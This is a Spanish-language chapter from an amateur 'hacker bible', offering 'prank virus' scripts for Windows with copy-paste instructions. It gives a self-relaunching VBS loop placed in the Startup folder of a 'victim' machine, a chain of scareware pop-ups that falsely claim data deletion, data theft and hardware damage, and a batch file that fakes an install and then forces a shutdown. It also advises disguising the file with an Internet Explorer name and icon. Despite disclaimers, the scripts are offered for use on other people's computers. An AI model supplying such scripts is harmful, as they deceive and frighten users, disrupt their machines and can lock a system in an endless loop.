Nuestros virus

4.2K 124 97
                                    

IMPORTANTE, SI CONTINUA LEYENDO ESTA SECCIÓN Y LO PONE EN PRACTICA EN SU PC Y ESTE LE CAUSA UN DAÑO NO ME HAGO RESPONSABLE AL IGUAL QUE SI DAÑA A OTRAS PERSONAS CON ESA INFORMACIÓN, LO CUAL TODA RESPONSABILIDAD CAERÁ EN USTED TOTALMENTE, RECOMIENDO USAR UNA MAQUINA VIRTUAL PARA REALIZAR ESTAS PRUEBAS.


Estos "virus" son unicamente para PC Y son inofensivo hasta cierto punto, recomiendo encarecidamente si desea experimentar con estos usar una maquina virtual y hacer todas las modificaciones que usted desee ya que en notificado anterior NO ME HAGO RESPONSABLE POR DAÑOS CAUSADOS.

Explicación:

Debes crear un archivo de texto y cambiarle la extension a vbs

ejemplo virus.vbs

Si quieres cambiarle y ponerle otro nombre fijate a que la ultima linea tenga

el mismo nombre que tu virus ej: internet.vbs

WshShell.Run chr(34) & "internet.vbs" & Chr(34), 0

y sino le dejas virus.vbs  como ejemplo de nombre funciona bien ya que como dije anteriormente debe tener la extencion en .vbs

luego buscas la carpeta inicio que esta en el disco donde se aloje su windows una vez encontrada la abres y pegas el virus ahí adentro entonces cada vez que se encienda sola la pc el virus se va a ejecutar solo automáticamente.

Desventajas: necesitas estar en el ordenador de la víctima
--------------------------------------------------------------------------------------------------------------------------
Este virus puede hablar no representa riesgo alguno.

El código del virus es:

Dim speaks, speech

speaks="Se ha detectado una amenaza. por favor apaga el sistema"

Set speech=CreateObject("sapi.spvoice")

speech.Speak speaks

do

msgbox "Hola soy virus"

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run chr(34) & "virus.vbs" & Chr(34), 0

Set WshShell = Nothing

loop

Desventaja: sólo habla
--------------------------------------------------------------------------------------------------------------------------
Este virus crea avisos en la pantalla, puedes crear el aviso cuantas veces quieras, aunque lo cierre o finalice el proceso seguirá con los avisos:

El código del virus es este:

lol=msgbox("¡Has abierto un virus fatal, no hay restauracion!",20,"FATAL ERROR 404" )

lol=msgbox("¿Deseas eliminar virus?",51,"FATAL ERROR 404" )

lol=msgbox("¡No se pudo eliminar!",20,"FATAL ERROR 404" )

lol=msgbox("¿Reintentar?",51,&­quot;"FATAL ERROR 404" )

lol=msgbox("¡No se ha podido eliminar, tu sistema se vera dañado!",20,"FATAL ERROR 404" )

lol=msgbox("Eliminando Windows",48,"FATAL ERROR 404" )

lol=msgbox("¿Deseas bloquear el virus?",4,"Cargando" )

lol=msgbox("¡VIRUS INMORTAL!!!!...!",20,"MALDITO VIRUS" )

lol=msgbox("¡VIRUS CODE 4654654#6541564#, ALERTA!",51,"010010001" )

lol=msgbox("¡Borrando todo",32,"¡¡¡100 % borrado !!" )

lol=msgbox("¡Alerta!",68,"­;­¡¡¡PC DAÑADA - PC DAÑADA!!!" )

lol=msgbox("¿Deja de jugar y cierra la ventana?",51,"Estupido" )

lol=msgbox("entendiste, o no? cierrala YA.!",20,"Cierra la ventana o el virus Quemara la tarjeta madre de la computadora" )

lol=msgbox("¿Deseas cerrar la ventana?",66,"Error. Dañado RAM" )

lol=msgbox("Dañado CPU",20,"Virus Fatal" )

lol=msgbox("Preparando para apagar",51,"virus hacker" )

lol=msgbox("Alerta, Daño Grave",15,"Alerta de Virus..." )

lol=msgbox("Eliminando System 32",64,"Error Instale Windows" )

lol=msgbox("¡APAGANDO...!",­20,"APAGANDO..." )

lol=msgbox("ROBANDO DATOS......",20,"DATOS ROBADOS..." )

lol=msgbox("ELIMINANDO DATOS.....",20,"50 % COMPLETADO ...100 % COMPLETADO" )

lol=msgbox("Todos los datos fueron ELIMINADOS",20,"FATAL ERROR 404" )

Pueden modificarlo a su gusto lo que están encerrado entre comillas,por ejemplo "virus viruela".

Desventajas: debes fijarte bien,si Borrás algo que no es porque no me hago responsable de la falla que te puede causar.

Pd: si saben cambiar el icono es mejor por ejemplo Internet explorar.vbs y le colocas el icono de Internet explorer.

--------------------------------------------------------------------------------------------------------------------------
Este es igual que al otro:

MsgBox "Error 404",vbExclamation,"Dañando pc"

MsgBox "Error 1010",vbExclamation,"RAM DAÑADA"

MsgBox "Error 200",vbExclamation,"CPU DAÑADO"

MsgBox "Error 440",vbExclamation,"DAÑANDO GPU"

pueden modificarlo a su gusto lo que están encerrado entre comillas nada mas.

Tiene  toda las desventajas que la anterior.

--------------------------------------------------------------------------------------------------------------------------
Y el último por los momentos, este virus apaga la pc:

@echo off

A:

cls

Echo Descargando programa

pause

Descomprimiendo archivo

pause

instalando programa

pause

Error Reintentando

pause

Echo PC Dañada

shutdown -s -t 05 -c"Tarjeta Madre Dañada" 

Puedes modificar la palabra que este entre comillas nada mas y el número 05 le pueden poner más, pero ese es el tiempo que se puede apagar.

Existen aun mas, pero por ahora deben de crear virus débiles o de bromas, en algunos casos se le activara el antivirus, no se alarmen ustedes están creando su propio virus.

PD: todo estos deben guardarse en block de nota y ponerle un nombre

ejemplo.vbs importante debe de llevar al final el .vbs siempre si no no funcionara el programa.

La Biblia del hacker | Volumen #2Donde viven las historias. Descúbrelo ahora